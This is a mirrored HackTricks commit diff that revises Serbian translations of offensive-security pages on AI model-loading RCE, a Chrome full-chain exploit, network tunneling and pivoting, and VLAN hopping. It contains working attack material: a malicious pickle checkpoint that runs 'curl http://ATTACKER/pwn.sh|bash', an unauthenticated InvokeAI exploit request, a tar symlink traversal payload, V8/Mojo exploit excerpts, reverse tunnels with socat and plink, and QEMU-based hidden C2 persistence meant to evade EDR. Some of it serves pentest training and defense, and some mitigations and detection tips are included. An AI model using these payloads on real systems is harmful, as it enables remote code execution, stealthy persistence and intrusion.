mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
66652e8147
commit
1baef90fe6
@ -2,28 +2,28 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Učitavanje modela u RCE
|
||||
## Učitavanje modela za RCE
|
||||
|
||||
Modeli mašinskog učenja obično se dele u različitim formatima, kao što su ONNX, TensorFlow, PyTorch, itd. Ovi modeli se mogu učitati na mašine programera ili proizvodne sisteme za korišćenje. Obično modeli ne bi trebali sadržati zlonamerni kod, ali postoje slučajevi kada se model može koristiti za izvršavanje proizvoljnog koda na sistemu kao nameravana funkcija ili zbog ranjivosti u biblioteci za učitavanje modela.
|
||||
Modeli mašinskog učenja obično se dele u različitim formatima, kao što su ONNX, TensorFlow, PyTorch, itd. Ovi modeli mogu biti učitani na mašine programera ili proizvodne sisteme za korišćenje. Obično modeli ne bi trebali sadržati zlonamerni kod, ali postoje slučajevi kada se model može koristiti za izvršavanje proizvoljnog koda na sistemu kao nameravana funkcija ili zbog ranjivosti u biblioteci za učitavanje modela.
|
||||
|
||||
U vreme pisanja ovo su neki primeri ovog tipa ranjivosti:
|
||||
U vreme pisanja, ovo su neki primeri ovog tipa ranjivosti:
|
||||
|
||||
| **Okvir / Alat** | **Ranjivost (CVE ako je dostupno)** | **RCE Vektor** | **Reference** |
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Neosigurana deseralizacija u* `torch.load` **(CVE-2025-32434)** | Zlonameran pickle u model checkpoint-u dovodi do izvršavanja koda (zaobilazeći `weights_only` zaštitu) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + zlonamerno preuzimanje modela uzrokuje izvršavanje koda; Java deseralizacija RCE u API-ju za upravljanje | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (nesiguran YAML) <br> **CVE-2024-3660** (Keras Lambda) | Učitavanje modela iz YAML koristi `yaml.unsafe_load` (izvršavanje koda) <br> Učitavanje modela sa **Lambda** slojem izvršava proizvoljan Python kod | |
|
||||
| **PyTorch** (Python) | *Nepouzdana deserializacija u* `torch.load` **(CVE-2025-32434)** | Zlonameran pickle u model checkpoint-u dovodi do izvršavanja koda (zaobilazeći `weights_only` zaštitu) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + zlonamerno preuzimanje modela uzrokuje izvršavanje koda; Java deserializacija RCE u upravljačkom API-ju | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (nebezbedan YAML) <br> **CVE-2024-3660** (Keras Lambda) | Učitavanje modela iz YAML koristi `yaml.unsafe_load` (izvršavanje koda) <br> Učitavanje modela sa **Lambda** slojem pokreće proizvoljan Python kod | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsiranje) | Prilagođeni `.tflite` model izaziva prelivanje celobrojne vrednosti → oštećenje heap-a (potencijalni RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Učitavanje modela putem `joblib.load` izvršava pickle sa napadačevim `__reduce__` payload-om | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (nesiguran `np.load`) *sporan* | `numpy.load` podrazumevano dozvoljava pickled objekte nizova – zlonameran `.npy/.npz` izaziva izvršavanje koda | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | Spoljna putanja težina ONNX modela može pobjeći iz direktorijuma (čitati proizvoljne datoteke) <br> Zlonamerni ONNX model tar može prepisati proizvoljne datoteke (dovodeći do RCE) | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (nebezbedan `np.load`) *sporno* | `numpy.load` podrazumevano dozvoljava pickled objekte nizova – zlonameran `.npy/.npz` pokreće izvršavanje koda | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | Spoljni put težina ONNX modela može pobjeći iz direktorijuma (čitati proizvoljne datoteke) <br> Zlonameran ONNX model tar može prepisati proizvoljne datoteke (što dovodi do RCE) | |
|
||||
| ONNX Runtime (dizajnerski rizik) | *(Nema CVE)* ONNX prilagođene operacije / kontrolni tok | Model sa prilagođenim operatorom zahteva učitavanje napadačeve nativne koda; složeni grafovi modela zloupotrebljavaju logiku za izvršavanje nepredviđenih proračuna | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (putanja prelaz) | Korišćenje API-ja za učitavanje modela sa `--model-control` omogućeno omogućava relativno prelaz putanje za pisanje datoteka (npr., prepisivanje `.bashrc` za RCE) | |
|
||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (više heap prelivanja) | Neispravan GGUF model datoteke uzrokuje prelivanje bafera u parseru, omogućavajući proizvoljno izvršavanje koda na sistemu žrtve | |
|
||||
| **Keras (stariji formati)** | *(Nema novog CVE)* Nasleđeni Keras H5 model | Zlonameran HDF5 (`.h5`) model sa kodom Lambda sloja i dalje izvršava prilikom učitavanja (Keras safe_mode ne pokriva stari format – “napad snižavanja”) | |
|
||||
| **Drugi** (opšti) | *Dizajnerska greška* – Pickle serijalizacija | Mnogi ML alati (npr., pickle-bazirani formati modela, Python `pickle.load`) će izvršiti proizvoljni kod ugrađen u datoteke modela osim ako se ne ublaži | |
|
||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (više heap prelivanja) | Neispravan GGUF model datoteke uzrokuje prelivanje bafera u parseru, omogućavajući proizvoljno izvršavanje koda na sistemu žrtve | |
|
||||
| **Keras (stariji formati)** | *(Nema novog CVE)* Nasleđeni Keras H5 model | Zlonameran HDF5 (`.h5`) model sa kodom Lambda sloja i dalje se izvršava prilikom učitavanja (Keras safe_mode ne pokriva stari format – “napad s degradacijom”) | |
|
||||
| **Drugi** (opšti) | *Dizajnerska greška* – Pickle serijalizacija | Mnogi ML alati (npr., formati modela zasnovani na pickle-u, Python `pickle.load`) će izvršiti proizvoljni kod ugrađen u datoteke modela osim ako se ne ublaži | |
|
||||
|
||||
Pored toga, postoje neki modeli zasnovani na Python pickle-u, poput onih koje koristi [PyTorch](https://github.com/pytorch/pytorch/security), koji se mogu koristiti za izvršavanje proizvoljnog koda na sistemu ako se ne učitaju sa `weights_only=True`. Dakle, svaki model zasnovan na pickle-u može biti posebno podložan ovim vrstama napada, čak i ako nisu navedeni u tabeli iznad.
|
||||
Pored toga, postoje modeli zasnovani na Python pickle-u kao što su oni koje koristi [PyTorch](https://github.com/pytorch/pytorch/security) koji se mogu koristiti za izvršavanje proizvoljnog koda na sistemu ako se ne učitaju sa `weights_only=True`. Dakle, svaki model zasnovan na pickle-u može biti posebno podložan ovim vrstama napada, čak i ako nisu navedeni u tabeli iznad.
|
||||
|
||||
### 🆕 InvokeAI RCE putem `torch.load` (CVE-2024-12029)
|
||||
|
||||
@ -33,11 +33,11 @@ Interno, endpoint na kraju poziva:
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
Kada je dostavljeni fajl **PyTorch checkpoint (`*.ckpt`)**, `torch.load` vrši **pickle deserializaciju**. Pošto sadržaj dolazi direktno sa URL-a koji kontroliše korisnik, napadač može ugraditi zlonamerni objekat sa prilagođenom `__reduce__` metodom unutar checkpoint-a; metoda se izvršava **tokom deserializacije**, što dovodi do **remote code execution (RCE)** na InvokeAI serveru.
|
||||
Kada je dostavljeni fajl **PyTorch checkpoint (`*.ckpt`)**, `torch.load` vrši **pickle deserializaciju**. Pošto sadržaj dolazi direktno sa URL-a koji kontroliše korisnik, napadač može ugraditi zlonamerni objekat sa prilagođenom `__reduce__` metodom unutar checkpoint-a; metoda se izvršava **tokom deserializacije**, što dovodi do **daljinskog izvršavanja koda (RCE)** na InvokeAI serveru.
|
||||
|
||||
Ranljivost je dodeljena **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
|
||||
#### Exploitation walk-through
|
||||
#### Vodič za eksploataciju
|
||||
|
||||
1. Kreirajte zlonamerni checkpoint:
|
||||
```python
|
||||
@ -51,7 +51,7 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
|
||||
with open("payload.ckpt", "wb") as f:
|
||||
pickle.dump(Payload(), f)
|
||||
```
|
||||
2. Host `payload.ckpt` na HTTP serveru koji kontrolišete (npr. `http://ATTACKER/payload.ckpt`).
|
||||
2. Hostujte `payload.ckpt` na HTTP serveru koji kontrolišete (npr. `http://ATTACKER/payload.ckpt`).
|
||||
3. Aktivirajte ranjivu tačku (nije potrebna autentifikacija):
|
||||
```python
|
||||
import requests
|
||||
@ -67,9 +67,9 @@ json={}, # body can be empty
|
||||
timeout=5,
|
||||
)
|
||||
```
|
||||
4. Kada InvokeAI preuzme datoteku, poziva `torch.load()` → `os.system` gadget se pokreće i napadač dobija izvršenje koda u kontekstu InvokeAI procesa.
|
||||
4. Kada InvokeAI preuzme datoteku, poziva `torch.load()` → gadget `os.system` se pokreće i napadač dobija izvršenje koda u kontekstu InvokeAI procesa.
|
||||
|
||||
Ready-made exploit: **Metasploit** modul `exploit/linux/http/invokeai_rce_cve_2024_12029` automatizuje ceo tok.
|
||||
Gotov exploit: **Metasploit** modul `exploit/linux/http/invokeai_rce_cve_2024_12029` automatizuje ceo tok.
|
||||
|
||||
#### Uslovi
|
||||
|
||||
@ -79,9 +79,9 @@ Ready-made exploit: **Metasploit** modul `exploit/linux/http/invokeai_rce_cve_20
|
||||
|
||||
#### Mogućnosti ublažavanja
|
||||
|
||||
* Ažurirajte na **InvokeAI ≥ 5.4.3** – zakrpa postavlja `scan=True` podrazumevano i vrši skeniranje zlonamernog softvera pre deserializacije.
|
||||
* Kada programatski učitavate tačke, koristite `torch.load(file, weights_only=True)` ili novi [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) pomoćni alat.
|
||||
* Sprovodite liste dozvoljenih / potpisa za izvore modela i pokrećite uslugu sa minimalnim privilegijama.
|
||||
* Ažurirajte na **InvokeAI ≥ 5.4.3** – zakrpa postavlja `scan=True` kao podrazumevano i vrši skeniranje zlonamernog softvera pre deserializacije.
|
||||
* Kada učitavate tačke kontrole programatski, koristite `torch.load(file, weights_only=True)` ili novi [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) pomoćni alat.
|
||||
* Sprovodite liste dozvoljenih / potpisa za izvore modela i pokrenite uslugu sa minimalnim privilegijama.
|
||||
|
||||
> ⚠️ Zapamtite da je **bilo koji** Python pickle-bazirani format (uključujući mnoge `.pt`, `.pkl`, `.ckpt`, `.pth` datoteke) inherentno nesiguran za deserializaciju iz nepouzdanih izvora.
|
||||
|
||||
@ -131,11 +131,11 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
|
||||
# /tmp/pwned.txt is created even if you get an error
|
||||
```
|
||||
## Models to Path Traversal
|
||||
## Модели за пролазак кроз пут
|
||||
|
||||
Kao što je komentarisano u [**ovom blog postu**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), većina formata modela koje koriste različiti AI okviri zasniva se na arhivama, obično `.zip`. Stoga, može biti moguće zloupotrebiti ove formate za izvođenje napada na pretragu putanja, omogućavajući čitanje proizvoljnih datoteka sa sistema na kojem je model učitan.
|
||||
Како је коментарисано у [**овој блог објави**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), већина формата модела које користе различити AI оквири заснована је на архивама, обично `.zip`. Стога, може бити могуће злоупотребити ове формате за извођење напада проласка кроз пут, што омогућава читање произвољних датотека из система у коме је модел учитан.
|
||||
|
||||
Na primer, sa sledećim kodom možete kreirati model koji će kreirati datoteku u `/tmp` direktorijumu kada se učita:
|
||||
На пример, са следећим кодом можете креирати модел који ће креирати датотеку у директоријуму `/tmp` када се учита:
|
||||
```python
|
||||
import tarfile
|
||||
|
||||
@ -163,9 +163,9 @@ tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAI deserializacija nepouzdanih podataka"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI zakrpa commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit modul dokumentacija](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – bezbednosna razmatranja za torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -3,9 +3,9 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> Ova stranica pruža visok nivo, ali **praktičan** pregled modernog "full-chain" eksploatacionog toka rada protiv Google Chrome 130, zasnovanog na seriji istraživanja **“101 Chrome Exploitation”** (Deo-0 — Uvod).
|
||||
> Cilj je pružiti pentesterima i razvojnim inženjerima eksploatacija minimalno pozadinsko znanje potrebno za reprodukciju ili prilagođavanje tehnika za sopstvena istraživanja.
|
||||
> Cilj je pružiti pentesterima i razvojnim inženjerima eksploata minimum pozadine potrebne za reprodukciju ili prilagođavanje tehnika za sopstvena istraživanja.
|
||||
|
||||
## 1. Chrome Architecture Recap
|
||||
## 1. Pregled arhitekture Chrome-a
|
||||
Razumevanje napadačke površine zahteva poznavanje mesta gde se kod izvršava i koje se sandboksove primenjuju.
|
||||
```
|
||||
+-------------------------------------------------------------------------+
|
||||
@ -47,7 +47,7 @@ Greška u TurboFan-ovoj **Turboshaft** optimizaciji pogrešno klasifikuje **Wasm
|
||||
|
||||
Efekat:
|
||||
* Kompajler **preskoči proveru tipa**, tretirajući *referencu* (`externref/anyref`) kao *int64*.
|
||||
* Kreirani Wasm omogućava preklapanje zaglavlja JS objekta sa podacima pod kontrolom napadača → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
|
||||
* Kreirani Wasm omogućava preklapanje zaglavlja JS objekta sa podacima pod kontrolom napadača → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitive**.
|
||||
|
||||
Minimal PoC (izvod):
|
||||
```WebAssembly
|
||||
@ -82,16 +82,16 @@ Outcome: **arbitrary read/write within V8**.
|
||||
|
||||
---
|
||||
|
||||
## 3. Stage 2 – Izlazak iz V8 Sandbox-a (issue 379140430)
|
||||
## 3. Stage 2 – Izbegavanje V8 Sandbox-a (issue 379140430)
|
||||
|
||||
Kada se Wasm funkcija kompilira u tier-up, generiše se **JS ↔ Wasm wrapper**. Greška u neslaganju potpisa uzrokuje da wrapper piše izvan kraja pouzdane **`Tuple2`** objekta kada se Wasm funkcija ponovo optimizuje *dok je još na steku*.
|
||||
Kada se Wasm funkcija kompajlira u tier-up, generiše se **JS ↔ Wasm wrapper**. Greška u neslaganju potpisa uzrokuje da wrapper piše izvan kraja pouzdane **`Tuple2`** objekta kada se Wasm funkcija ponovo optimizuje *dok je još na steku*.
|
||||
|
||||
Prepisivanje 2 × 64-bitnih polja `Tuple2` objekta omogućava **read/write na bilo kojoj adresi unutar Renderer procesa**, efikasno zaobilazeći V8 sandbox.
|
||||
|
||||
Ključni koraci u eksploataciji:
|
||||
1. Dovesti funkciju u **Tier-Up** stanje naizmeničnim korišćenjem turbofan/baseline koda.
|
||||
2. Aktivirati tier-up dok se drži referenca na steku (`Function.prototype.apply`).
|
||||
3. Koristiti Stage-1 AAR/AAW za pronalaženje i korupciju susednog `Tuple2`.
|
||||
3. Koristiti Stage-1 AAR/AAW da pronađe i ošteti susedni `Tuple2`.
|
||||
|
||||
Identifikacija wrapper-a:
|
||||
```js
|
||||
@ -109,7 +109,7 @@ Nakon korupcije posedujemo potpuno funkcionalnu **renderer R/W primitivu**.
|
||||
|
||||
**Mojo** IPC interfejs `blink.mojom.DragService.startDragging()` može se pozvati iz Renderera sa *delimično poverljivim* parametrima. Kreiranjem `DragData` strukture koja pokazuje na **arbitrarni put do fajla**, renderer ubeđuje pregledač da izvrši *nativno* prevlačenje i ispuštanje **van renderer sandbox-a**.
|
||||
|
||||
Zloupotrebom ovoga možemo programatski “prevući” maliciozni EXE (prethodno postavljen na lokaciju koja se može pisati) na Desktop, gde Windows automatski izvršava određene tipove fajlova nakon ispuštanja.
|
||||
Zloupotrebom ovoga možemo programatski “prevući” zlonamerni EXE (prethodno postavljen na lokaciju koja se može pisati) na Desktop, gde Windows automatski izvršava određene tipove fajlova nakon ispuštanja.
|
||||
|
||||
Primer ( pojednostavljeno):
|
||||
```js
|
||||
@ -128,7 +128,7 @@ Nema dodatne korupcije memorije – **logička greška** nam omogućava izvršav
|
||||
|
||||
---
|
||||
|
||||
## 5. Tok pune veze
|
||||
## 5. Potpuni Tok
|
||||
|
||||
1. **Korisnik posećuje** zlonamernu veb stranicu.
|
||||
2. **Faza 1**: Wasm modul zloupotrebljava CVE-2025-0291 → V8 heap AAR/AAW.
|
||||
@ -139,7 +139,7 @@ Rezultat: **Daljinsko izvršavanje koda (RCE)** na hostu (Chrome 130, Windows/Li
|
||||
|
||||
---
|
||||
|
||||
## 6. Postavka laboratorije i debagovanja
|
||||
## 6. Laboratorija & Postavljanje Debagovanja
|
||||
```bash
|
||||
# Spin-up local HTTP server w/ PoCs
|
||||
npm i -g http-server
|
||||
@ -160,7 +160,7 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
|
||||
|
||||
* **WebAssembly JIT greške** ostaju pouzdan ulaz – tipni sistem je još uvek mlad.
|
||||
* Dobijanje druge greške u korupciji memorije unutar V8 (npr. neslaganje omotača) značajno pojednostavljuje **V8-sandbox bekstvo**.
|
||||
* Logičke slabosti u privilegovanim Mojo IPC interfejsima često su dovoljne za **konačno bekstvo iz sandboks-a** – obratite pažnju na *ne-memorijske* greške.
|
||||
* Slabosti na logičkom nivou u privilegovanim Mojo IPC interfejsima često su dovoljne za **konačno bekstvo iz sandboks-a** – obratite pažnju na *ne-memorijske* greške.
|
||||
|
||||
|
||||
|
||||
|
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Bezbednost – Terrapin napad (CVE-2023-48795)**
|
||||
> Napad Terrapin degradacije iz 2023. godine može omogućiti napadaču "man-in-the-middle" da manipuliše ranim SSH rukovanjem i ubaci podatke u **bilo koji prosleđeni kanal** ( `-L`, `-R`, `-D` ). Osigurajte da su i klijent i server zakrpljeni (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ili eksplicitno onemogućite ranjive `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` algoritme u `sshd_config`/`ssh_config` pre nego što se oslonite na SSH tuneli.
|
||||
> Napad na downgrade Terrapin iz 2023. može omogućiti napadaču u sredini da manipuliše ranim SSH rukovanjem i ubaci podatke u **bilo koji prosleđeni kanal** ( `-L`, `-R`, `-D` ). Osigurajte da su i klijent i server zakrpljeni (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ili eksplicitno onemogućite ranjive `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` algoritme u `sshd_config`/`ssh_config` pre nego što se oslonite na SSH tuneli.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Pivot kroz **NTLM proxy**
|
||||
Pivotiranje kroz **NTLM proxy**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Možete zaobići **neautentifikovani proxy** izvršavajući ovu liniju umesto poslednje u konzoli žrtve:
|
||||
Možete zaobići **neautentifikovani proxy** izvršavanjem ove linije umesto poslednje u konzoli žrtve:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
To je kao konzolna verzija PuTTY (opcije su vrlo slične ssh klijentu).
|
||||
|
||||
Pošto će ova binarna datoteka biti izvršena na žrtvi i to je ssh klijent, potrebno je da otvorimo naš ssh servis i port kako bismo imali obrnutu vezu. Zatim, da bismo preusmerili samo lokalno dostupni port na port na našoj mašini:
|
||||
Pošto će ova binarna datoteka biti izvršena na žrtvi i to je ssh klijent, potrebno je da otvorimo naš ssh servis i port kako bismo mogli da imamo obrnutu vezu. Zatim, da bismo prosledili samo lokalno dostupni port na port na našoj mašini:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -347,7 +347,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
Potrebno je imati **RDP pristup preko sistema**.\
|
||||
Morate imati **RDP pristup preko sistema**.\
|
||||
Preuzmite:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Ovaj alat koristi `Dynamic Virtual Channels` (`DVC`) iz funkcije Remote Desktop Service u Windows-u. DVC je odgovoran za **tunelovanje paketa preko RDP veze**.
|
||||
@ -364,13 +364,13 @@ Sada možemo **connect** na **victim** preko **RDP** koristeći **`mstsc.exe`**,
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
Sada potvrdite na vašem računaru (napadaču) da port 1080 sluša:
|
||||
Sada, potvrdite na vašem računaru (napadaču) da port 1080 sluša:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Sada možete koristiti [**Proxifier**](https://www.proxifier.com/) **da proksirate saobraćaj kroz tu port.**
|
||||
|
||||
## Proksiranje Windows GUI aplikacija
|
||||
## Proksirajte Windows GUI aplikacije
|
||||
|
||||
Možete naterati Windows GUI aplikacije da prolaze kroz proksi koristeći [**Proxifier**](https://www.proxifier.com/).\
|
||||
U **Profile -> Proxy Servers** dodajte IP adresu i port SOCKS servera.\
|
||||
@ -379,7 +379,7 @@ U **Profile -> Proxification Rules** dodajte ime programa koji želite da proksi
|
||||
## NTLM proksi zaobilaženje
|
||||
|
||||
Prethodno pomenuti alat: **Rpivot**\
|
||||
**OpenVPN** takođe može da ga zaobiđe, postavljanjem ovih opcija u konfiguracionom fajlu:
|
||||
**OpenVPN** takođe može da ga zaobiđe, postavljajući ove opcije u konfiguracionom fajlu:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
@ -387,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Ovaj alat se autentifikuje protiv proksija i vezuje lokalni port koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru preko ovog porta.\
|
||||
Ovaj alat se autentifikuje protiv proksija i vezuje lokalni port koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru kroz ovaj port.\
|
||||
Na primer, prosledite port 443.
|
||||
```
|
||||
Username Alice
|
||||
@ -396,7 +396,7 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Sada, ako na primer postavite **SSH** servis na žrtvi da sluša na portu 443. Možete se povezati na njega preko napadačkog porta 2222.\
|
||||
Sada, ako na primer postavite **SSH** servis na žrtvi da sluša na portu 443. Možete se povezati na njega kroz port 2222 napadača.\
|
||||
Takođe možete koristiti **meterpreter** koji se povezuje na localhost:443, a napadač sluša na portu 2222.
|
||||
|
||||
## YARP
|
||||
@ -452,7 +452,7 @@ Proxychains presreće `gethostbyname` libc poziv i tuneluje tcp DNS zahtev kroz
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
## ICMP Tunelovanje
|
||||
## ICMP Tunneling
|
||||
|
||||
### Hans
|
||||
|
||||
@ -612,7 +612,7 @@ Gore navedena komanda objavljuje port žrtve **8080** kao **attacker_ip:9000** b
|
||||
|
||||
## Tajni VM-bazirani tuneli sa QEMU
|
||||
|
||||
QEMU-ova mrežna podrška u korisničkom režimu (`-netdev user`) podržava opciju pod nazivom `hostfwd` koja **vezuje TCP/UDP port na *hostu* i prosleđuje ga u *gosta***. Kada gost pokrene punu SSH demon, pravilo hostfwd vam daje jednokratni SSH jump box koji potpuno živi unutar ephemerne VM – savršeno za skrivanje C2 saobraćaja od EDR-a jer sve zlonamerne aktivnosti i datoteke ostaju na virtuelnom disku.
|
||||
Korisnički režim umrežavanja QEMU-a (`-netdev user`) podržava opciju pod nazivom `hostfwd` koja **vezuje TCP/UDP port na *hostu* i prosleđuje ga u *gosta***. Kada gost pokrene punu SSH demon, pravilo hostfwd vam daje jednokratni SSH jump box koji potpuno živi unutar ephemerne VM – savršeno za skrivanje C2 saobraćaja od EDR-a jer sve zlonamerne aktivnosti i datoteke ostaju na virtuelnom disku.
|
||||
|
||||
### Brza jedna linija
|
||||
```powershell
|
||||
@ -626,7 +626,7 @@ qemu-system-x86_64.exe ^
|
||||
```
|
||||
• Komanda iznad pokreće **Tiny Core Linux** sliku (`tc.qcow2`) u RAM-u.
|
||||
• Port **2222/tcp** na Windows hostu se transparentno prosleđuje na **22/tcp** unutar gosta.
|
||||
• Sa stanovišta napadača, cilj jednostavno izlaže port 2222; svi paketi koji do njega stignu se obrađuju od strane SSH servera koji radi u VM-u.
|
||||
• Sa stanovišta napadača, meta jednostavno izlaže port 2222; svi paketi koji do njega stignu se obrađuju od strane SSH servera koji radi u VM-u.
|
||||
|
||||
### Pokretanje neprimetno kroz VBScript
|
||||
```vb
|
||||
@ -638,7 +638,7 @@ Pokretanje skripte sa `cscript.exe //B update.vbs` drži prozor skrivenim.
|
||||
|
||||
### U gostu postojanost
|
||||
|
||||
Budući da je Tiny Core bezdržavni, napadači obično:
|
||||
Pošto je Tiny Core bezdržavni, napadači obično:
|
||||
|
||||
1. Postavljaju payload na `/opt/123.out`
|
||||
2. Dodaju u `/opt/bootlocal.sh`:
|
||||
@ -660,7 +660,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
|
||||
• Upozorite na **neočekivane QEMU/VirtualBox/KVM binarne fajlove** u putanjama koje korisnik može pisati.
|
||||
• Blokirajte izlazne konekcije koje potiču od `qemu-system*.exe`.
|
||||
• Tražite retke portove koji slušaju (2222, 10022, …) koji se vezuju odmah nakon pokretanja QEMU.
|
||||
• Tražite retke portove koji slušaju (2222, 10022, …) koji se vezuju odmah nakon pokretanja QEMU-a.
|
||||
|
||||
---
|
||||
|
||||
|
@ -10,7 +10,7 @@ Prvo, potrebno je identifikovati specifičan povezani port. Ovo se obično može
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
Pre nego što se pređe na trunk mod, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup raznim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, je povezan sa VLAN 10.
|
||||
Pre nego što se pređe na trunk mod, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup raznim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, povezan je sa VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -56,7 +56,7 @@ Prethodna metoda pretpostavlja autentifikovani pristup konzoli ili Telnet/SSH-u
|
||||
|
||||
### 1. Switch-Spoofing sa Dinamičkim Trunking Protokolom (DTP)
|
||||
|
||||
